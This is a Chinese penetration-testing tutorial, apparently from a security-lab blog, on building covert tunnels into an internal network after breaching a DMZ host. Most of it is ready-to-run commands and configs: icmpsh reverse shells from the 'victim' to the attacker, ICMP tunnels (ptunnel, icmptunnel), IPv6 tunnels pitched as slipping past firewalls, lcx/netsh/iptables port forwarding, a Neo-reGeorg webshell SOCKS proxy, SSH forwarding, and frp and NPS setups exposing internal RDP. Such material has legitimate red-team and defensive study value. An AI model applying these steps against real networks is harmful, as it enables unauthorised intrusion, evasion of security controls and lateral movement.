前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网基础-隐藏通信隧道技术

内网基础-隐藏通信隧道技术

作者头像
Gamma实验室
发布2021-03-25 09:41:23
1.9K0
发布2021-03-25 09:41:23
举报
文章被收录于专栏:Gamma安全实验室

点击蓝字关注我哦

1.前言

当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。

2. 常用隧道分类

根据不同层的网络协议,大致分为以下几种常用的隧道:

2.1 应用层

  • ssh隧道
  • http(https)隧道
  • dns隧道

2.2 传输层

  • tcp隧道
  • udp隧道
  • 常规端口转发

2.3 网络层

  • Ipv6隧道
  • icmp隧道
  • gre隧道

3.判断哪些流量能出网

拿到一个点,并不是一上来就frp,frp虽然稳定,但是遇到一些特殊情况也不是很好用,如果遇到web服务器是通过端口映射出来的,本身主机不出网,这时候就得用webshell代理流量,当然还有一种,需要通过特定代理的服务器才能出网,这时候可以做浏览器的信息收集,这种情况外网资产扫端口也可以见,nmap扫出来的服务为sockets或者proxy服务什么的。

综合判断几种协议的出网情况

3.1 icmp协议

ping 命令

3.2 Http协议

linux:

  • wget 命令
  • curl 命令

Windows:

  • telnet
  • 浏览器

3.3 dns协议:

指向外网的vps作为dns服务器解析域名

Windows

Nslookup baidu.com vps

Linux

dig@vps Baidu.com

4.搭建隧道实战

4.1 搭建ipv6隧道

前提:支持ipv6,通过ipconfig(ifconfig)看有没有ipv6的地址

特点:过安全设备,防火墙奇效

原理:把ipv6协议封装数据包后继续用ipv4封装,本质在网络中传输还是ipv4,一些安全设备和防火墙不支持ipv6,所以就算拿到了进行分析也解不了包。

这里我以6tunnel为例:

代码语言:javascript
复制
github:https://github.com/wojtekka/6tunnel

gcc编译

端口转发:

命令:

代码语言:javascript
复制
./6tunnel -4 80 需要转发的ipv6%eth0 80#将ipv6地址80端口转发到本地ipv4来,你也可以换成-6

注意:ipv6隧道可以从ipv6地址到ipv6地址,也可以从ipv4地址到ipv6地址,但不能从ipv6到ipv4。如果从本机的ipv6地址到目标机的ipv4,测试抓到的包是ipv4的包,并不会对数据包进行ipv6封装,%是制定网卡


访问ipv6地址时需指定网卡,例如http://[fe80::xxxx:xxxx%eth0],或者curl -6 -g --interface eth0 "http://[fe80::20c:29ff:fe0f:57ba]:80" -vvv

4.2 搭建icmp隧道

前提:防火墙waf有允许icmp包文通过,关闭系统icmp自动答复,安装python-impacket

特点:简单,实用

原理:将tcp/udp 数据封装到icmp的ping数据包中,从而建立通信

代码语言:javascript
复制
github:https://github.com/bdamele/icmpsh

反弹shell:

关闭本地的icmp应答:

代码语言:javascript
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1

本地主机监听:

代码语言:javascript
复制
python icmpsh_m.py 192.168.75.131(本地ip) 192.168.75.132(受害者ip)

在受害者主机运行:

代码语言:javascript
复制
icmpsh.exe -t 192.168.75.131(攻击者)

端口转发:

使用的是:ptunnel kali自带

需要安装一些依赖库

代码语言:javascript
复制
libpcap环境
libpcap依赖库
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

在攻击vps上执行:

代码语言:javascript
复制
ptunnel -p 182.17.13.17(跳板机外网ip) -lp 8888 -da 10.10.10.18(内网需要转发端口的ip) -dp 3389 -x Gamma

在跳板机上执行:

代码语言:javascript
复制
ptunnel -x Gamma

内网10.10.10.18 3389端口就被转发到攻击vps的8888端口了

4.3 icmp隧道搭建

安装icmptunnel

代码语言:javascript
复制
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

客户端和服务器需同时禁用icmp答复

代码语言:javascript
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1

这里攻击者为服务端,受害者为客户端

服务端配置:

代码语言:javascript
复制
./icmptunnel -s#以服务端启动
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip

客户端配置:

代码语言:javascript
复制
./icmptunnel 192.168.75.131(服务端ip)
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip

那么就可以隧道进行通信了

4.4 tcp端口转发

windows:

工具:lcx.exe netsh .........

把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

代码语言:javascript
复制
lcx.exe -slave 公网ip 8888 内网ip 3389

本地搭建端口之间的隧道

代码语言:javascript
复制
lcx.exe –listen 8888 3389#本地3389和8888端口进行连接

netsh仅支持TCP协议, 适用于双网卡服务器

代码语言:javascript
复制
#查看现有规则
netsh interface portproxy show all

#添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网IP listenport=6666 connectaddress=内网IP connectport=3389
#删除转发规则
netsh interface portproxy delete v4tov4 listenport=6666

#xp需要安装ipv6
netsh interface ipv6 install

连接外网6666端口,就是连接到内网目标上面的3389。

linux:

代码语言:javascript
复制
./portmap -m 2 -p1 4444 -h2 公网主机ip -p2 3389

将4444端口的流量转发到3389端口

代码语言:javascript
复制
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 4444#内网主机执行

把内网的22端口转发到外网的3389端口

linux iptables使用:

代码语言:javascript
复制
vi /etc/sysctl.conf
  net.ipv4.ip_forward = 1#开启IP转发

#关闭服务
service iptables stop

#需要访问的内网地址:10.1.1.11(Windows)
#内网边界web服务器:192.168.100.100(Linux)

iptables -t nat -A PREROUTING --dst 192.168.100.100 -p tcp --dport 3389 -j DNAT--to-destination 10.1.1.11:3389iptables -t nat -A POSTROUTING --dst 10.1.1.11 -p tcp --dport 3389 -j SNAT --to-source 192.168.100.100

#保存重启服务
service iptables save && service iptables start

4.5 webshell代理工具

配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。

https://github.com/L-codes/Neo-reGeorg

代码语言:javascript
复制
#生成服务端
python3 neoreg.py generate -k password  

#在本地建立Socks5代理
python3 neoreg.py -k password -u http://xx/tunnel.php

还可以用作端口转发,把webshell所在主机的端口转发到本地(不出网的情况很好用),请自行探索

4.6 ssh隧道

SSH一般是允许通过防火墙的,而且传输过程是加密的

本地转发(正向)

在中传VPS上执行以下命令

代码语言:javascript
复制
ssh -CfNg -L <VPS监听端口>:<目标内网IP>:<目标端口> root@目标外网Web服务器(会要求输入密码)

ssh -CfNg -L 8080:10.1.1.3:3389 root@100.100.1.100

#VPS上查看8090端口是否已经连接
netstat -tulnp | grep "8090"

#连接目标内网服务器的远程桌面
VPS-IP:8090

远程转发(反向)

在Web服务器上执行如下命令

代码语言:javascript
复制
ssh -CfNg -R <VPS的端口>:<目标内网IP>:<目标端口> root@VPS-IP(会要求输入密码)
ssh -CfNg -R 8090:10.1.1.3:3389 root@192.168.0.1

访问VPS的8090端口,即可连接内网数据库服务器的3389

4.7 Frp搭建隧道:

github:https://github.com/fatedier/frp

简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。

端口转发:

服务端配置文件frps.init:

代码语言:javascript
复制
[common]
bind_port = 7000
token = server_pass

客户端配置文件:

代码语言:javascript
复制
[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[rdp]
type = tcp #流量类型
local_ip = 内网ip     # 局域网地址,可以是非本机ip       
local_port = 3389#要转发的端口
remote_port = 7001#远程端口
plugin =socks5

访问vps 7001 则访问内网3389端口

启动的话就一个服务器./frps -c frps.ini 一个客户端./frpc -c frpc.ini

socks5代理更简单了:

客户端配置:

代码语言:javascript
复制
[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[socks_proxy]
type = tcp #流量类型
remote_port = 7001#远程端口
plugin =socks5

4.8 搭建NPS隧道:

frp不行,又不会改流量特征,可以用用nps

使用步骤:

开启服务端,假如公网服务器ip为1.1.1.1,配置文件中bridge_port为8024,配置文件中web_port为8080

访问1.1.1.1:8080

在客户端管理中创建一个客户端,记录下验证密钥

内网客户端运行(windows使用cmd运行加.exe)

1、下载nps服务端到自己的VPS(https://ehang-io.github.io/nps)

代码语言:javascript
复制
chmod +x nps
sudo ./nps install  #安装

2.修改配置文件(敏感信息改掉/etc/nps/conf/nps.conf,原本的配置文件挺长的,运行反而会报错,直接替换成以下的文件

代码语言:javascript
复制
appname = nps
#Boot mode(dev|pro)
runmode = dev

##bridge
# 底层通信协议,默认tcp,可选用kcp
bridge_type=tcp
# 底层通信端口,默认8024,如已被占用请指定其他端口
bridge_port=8024
bridge_ip=0.0.0.0

# 当客户端以配置文件模式启动时会用到的验证密钥,可自行设置,本教程不会使用到
public_vkey=<你的通信密钥>

#web
web_host=<服务器IP或域名>
web_username=<设置用户名>
web_password=<设置密码>
web_port = <网页面板端口>
web_ip=0.0.0.0

3.开启服务端

代码语言:javascript
复制
sudo nps start    #启动
sudo nps stop    #停止
sudo nps reload    #服务端配置文件重载

4.访问vpsip s:8080,在客户端管理中创建一个客户端,记录下验证密钥(也可以不设置,则会默认生成)

选择客户端通过配置文件连接为否,不然可能会配置冲突,点击新增,新增成功

可以直接看到客户端启动命令可以直接复制。

下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64

运行命令可以看到连接成功。

web界面也可以看到主机上线

下一步就能对客户端进行操作了:

直接点击隧道选项,对该客户端进行操作……

非常的好用嗷!

当然小众的一些代理工具会更好用,给自己立个flag,自己开发一个代理工具

END

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库专家服务
数据库专家服务(Database Expert Service,DBexpert)为您提供专业化的数据库服务。仅需提交您的具体问题和需求,即可获得腾讯云数据库专家的专业支持,助您解决各类专业化问题。腾讯云数据库专家服务团队均有10年以上的 DBA 经验,拥有亿级用户产品的数据库管理经验,以及丰富的服务经验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档